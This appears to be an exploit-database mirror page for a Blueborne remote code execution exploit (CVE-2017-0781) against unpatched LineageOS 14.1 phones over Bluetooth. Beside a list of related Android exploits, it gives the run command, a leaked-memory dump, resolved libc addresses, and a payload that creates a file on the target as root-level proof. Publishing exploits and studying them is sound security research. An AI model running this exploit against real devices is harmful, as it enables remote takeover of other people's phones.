Menu

Improved exploit search engine. Try it out

"LineageOS 14.1 Blueborne - Remote Code Execution"

Author

"Marcin Kozlowski"

Platform

android

Release date

2018-04-06

Release Date Title Type Platform Author
2019-05-28 "EquityPandit 1.0 - Password Disclosure" local android ManhNho
2019-05-29 "Qualcomm Android - Kernel Use-After-Free via Incorrect set_page_dirty() in KGSL" dos android "Google Security Research"
2019-05-16 "WeChat for Android 7.0.4 - 'vcodec2_hls_filter' Denial of Service" dos android "Hong Nhat Pham"
2019-03-06 "Android - getpidcon() Usage in Hardware binder ServiceManager Permits ACL Bypass" dos android "Google Security Research"
2019-03-06 "Android - binder Use-After-Free via racy Initialization of ->allow_user_free" dos android "Google Security Research"
2019-02-28 "FTP Server 1.32 - Denial of Service" dos android s4vitar
2019-02-21 "AirDrop 2.0 - Denial of Service (DoS)" dos android s4vitar
2019-02-21 "ScreenStream 3.0.15 - Denial of Service" dos android s4vitar
2019-02-20 "Android Kernel < 4.8 - ptrace seccomp Filter Bypass" dos android "Google Security Research"
2019-02-15 "AirMore 1.6.1 - Denial of Service (PoC)" dos android s4vitar
2019-02-14 "ApowerManager 3.1.7 - Phone Manager Remote Denial of Service (PoC)" dos android s4vitar
2019-02-12 "Android - binder Use-After-Free of VMA via race Between reclaim and munmap" dos android "Google Security Research"
2019-02-12 "Android - binder Use-After-Free via fdget() Optimization" dos android "Google Security Research"
2019-02-11 "AirDroid 4.2.1.6 - Denial of Service" dos android s4vitar
2019-01-15 "1Password < 7.0 - Denial of Service" dos android "Valerio Brussani"
2015-07-06 "AirDroid - Arbitrary File Upload" webapps android "Parsa Adib"
2011-11-28 "Google Android - 'content://' URI Multiple Information Disclosure Vulnerabilities" webapps android "Thomas Cannon"
2017-09-20 "Android Bluetooth - 'Blueborne' Information Leak (2)" remote android "Kert Ojasoo"
2017-08-09 "Android Bluetooth - 'Blueborne' Information Leak (1)" remote android "Kert Ojasoo"
2018-04-06 "LineageOS 14.1 Blueborne - Remote Code Execution" remote android "Marcin Kozlowski"
2018-02-25 "Papenmeier WiFi Baby Monitor Free & Lite < 2.02.2 - Remote Audio Record" remote android iamrastating
2017-07-20 "Virtual Postage (VPA) - Man In The Middle Remote Code Execution" remote android intern0t
2017-07-20 "SKILLS.com.au Industry App - Man In The Middle Remote Code Execution" remote android intern0t
2017-06-30 "Australian Education App - Remote Code Execution" remote android intern0t
2017-06-30 "BestSafe Browser - Man In The Middle Remote Code Execution" remote android intern0t
2017-06-14 "Google Chrome - V8 Private Property Arbitrary Code Execution" remote android Qihoo360
2017-06-30 "eVestigator Forensic PenTester - Man In The Middle Remote Code Execution" remote android intern0t
2017-12-20 "Samsung Internet Browser - SOP Bypass (Metasploit)" remote android "Dhiraj Mishra"
2017-12-18 "Outlook for Android - Attachment Download Directory Traversal" remote android "Google Security Research"
2016-09-27 "Google Android 5.0 < 5.1.1 - 'Stagefright' .MP4 tx3g Integer Overflow (Metasploit)" remote android Metasploit
Release Date Title Type Platform Author
2018-04-06 "LineageOS 14.1 Blueborne - Remote Code Execution" remote android "Marcin Kozlowski"
2008-01-18 "Microsoft Windows Message Queuing Service - RPC Buffer Overflow (MS07-065) (2)" remote windows "Marcin Kozlowski"
2007-12-18 "3proxy 0.5.3g (Windows x86) - 'logurl()' Remote Buffer Overflow (Perl)" remote windows_x86 "Marcin Kozlowski"
2017-09-21 "Linux Kernel < 4.13.1 - BlueTooth Buffer Overflow (PoC)" dos linux "Marcin Kozlowski"
2016-02-15 "NTPd ntp-4.2.6p5 - 'ctl_putdata()' Buffer Overflow (PoC)" dos linux "Marcin Kozlowski"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/44415/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/44415/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/44415/16826/lineageos-141-blueborne-remote-code-execution/download/", "exploit_id": "44415", "exploit_description": "\"LineageOS 14.1 Blueborne - Remote Code Execution\"", "exploit_date": "2018-04-06", "exploit_author": "\"Marcin Kozlowski\"", "exploit_type": "remote", "exploit_platform": "android", "exploit_port": null}
                                            

For full documentation follow the link above

Browse exploit DB API Browse

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# Exploit Title: LineageOS 14.1 (Android 7.1.2) Blueborne RCE CVE-2017-0781
# Date: 04/01/2018
# Exploit Author: Marcin Kozlowski <marcinguy@gmail.com>
# Tested on: LinageOS 14.1 (Android 7.1.2) without BlueBorne Patch
# CVE : CVE-2017-0781

# Provided for legal security research and testing purposes ONLY.

Code in exp4.py

More info in Repo:

https://github.com/marcinguy/android712-blueborne

Sample Execution:

$python exp4.py hci0 84:55:A5:B6:6F:F6
[*] Pwn attempt 0:
[*] Set hci0 to new rand BDADDR 16:e1:66:a7:8a:3d
[↘] Doing stack memeory leak...
00: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
01: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
02: 00000000 00000000 00000000 ad0911c4 9a2ed2c8 00000018 00000044 acf3de5d
acf4d67d
03: acf475e1 ad0911c4 a7c61ac0 16e166a7 00008a3d 00000000 b4300500 b4300970
1187a437
04: 00000000 9a2ed2a8 000003f3 00020001 9a2e0700 acfac80a b2f1fee0 ad08fb74
b5215a97
05: b4300500 b4300970 b2f1d220 00000000 00000001 b5225001 1187a437 00000000
00000000
06: a7c38bc0 aa5753c0 aa5753c8 b2f79360 00000008 00000000 b5233a89 00000001
00000000
07: 00000000 00000000 ad08fb74 acf61330 1187a437 00000008 a7c38bc0 b2f79360
acfc9968
08: b2f79360 00000000 a7c0f0e8 a7c38bc0 b2f79360 acfc9968 acf588f7 00000000
a7c38bc0
09: a7c00000 b4300500 00000003 a7c63b60 a7c00000 b4300500 b4300a78 aa5753c8
a7c63b60
10: ad0911c4 ad08fb74 b5225d3b 00000063 aa5753c8 b4300500 00000000 aa5753c8
b5225d67
11: acf3e0f5 ad07a770 00000000 a7c63b60 00000013 b5235ad5 00000063 a7c63b60
b4300500
12: b4300970 b2f1d418 00000000 00000001 b5225001 1187a437 a7c63b60 00000044
00000013
13: 00000000 00000044 a7c63b60 ad0911c4 ad08fb74 acf3df91 00000040 a7c63b70
00000000
14: acf472db a7c0fa24 b5225d3b 0000001d aa5753c8 b4300500 00000000 aa5753c8
b5225d67
15: 9a2ed4b0 a7c0f778 0000000f b2f1d298 00000000 b5235ad5 0000001d b2f1d298
aa5753c8
16: 00000000 9a2ed8d8 00000000 9a2ed4b0 b5235d03 00000000 9a2ed4b0 1187a437
00000008
17: b2f1d430 1187a437 a7c0f250 b2f1d298 9a2ed8d8 b51ea361 00000001 00000000
a7c0f778
18: 1187a437 9a2ed8d8 acf59793 1187a437 a7c0f780 00000001 a7c0fa18 9a2ed8d8
00000000
19: 9a2ed4b0 a7c0f778 a7c0fa24 acf58f85 00000001 0000003e a7c0fa18 00000000
00000005
[*] LIBC  0xb51ea361
[*] BT    0xacf4d67d
[*] libc_base: 0xb5142000, bss_base: 0xacece000
[*] system: 0xb5216b4d, acl_name: 0xad08160c
[*] Set hci0 to new rand BDADDR e3:83:0c:ab:03:c6
[*] system    0xb5216b4d
[*] PAYLOAD "\x17\xaa\xaaAAAAMk!\xb5";
    touch /data/local/tmp/test
    #
[+] Connecting to BNEP again: Done
[+] Pwning...: Done
[*] Looks like it didn't crash. Possibly worked


Payload executed:

s3ve3g:/ # ls -la /data/local/tmp/

total 24
drwxrwxrwx 2 shell shell 4096 2014-01-13 02:05 .
drwxr-x--x 3 root  root  4096 2014-01-22 00:36 ..
-rw------- 1 root  root  5773 2018-03-25 12:51 apt.conf.owMBvd
-rw------- 1 root  root  1182 2018-03-25 12:51 apt.data.HdUevr
-rw------- 1 root  root   455 2018-03-25 12:51 apt.sig.kv2PHc
-rw------- 1 1002  1002     0 2014-01-13 02:05 test
s3ve3g:/ #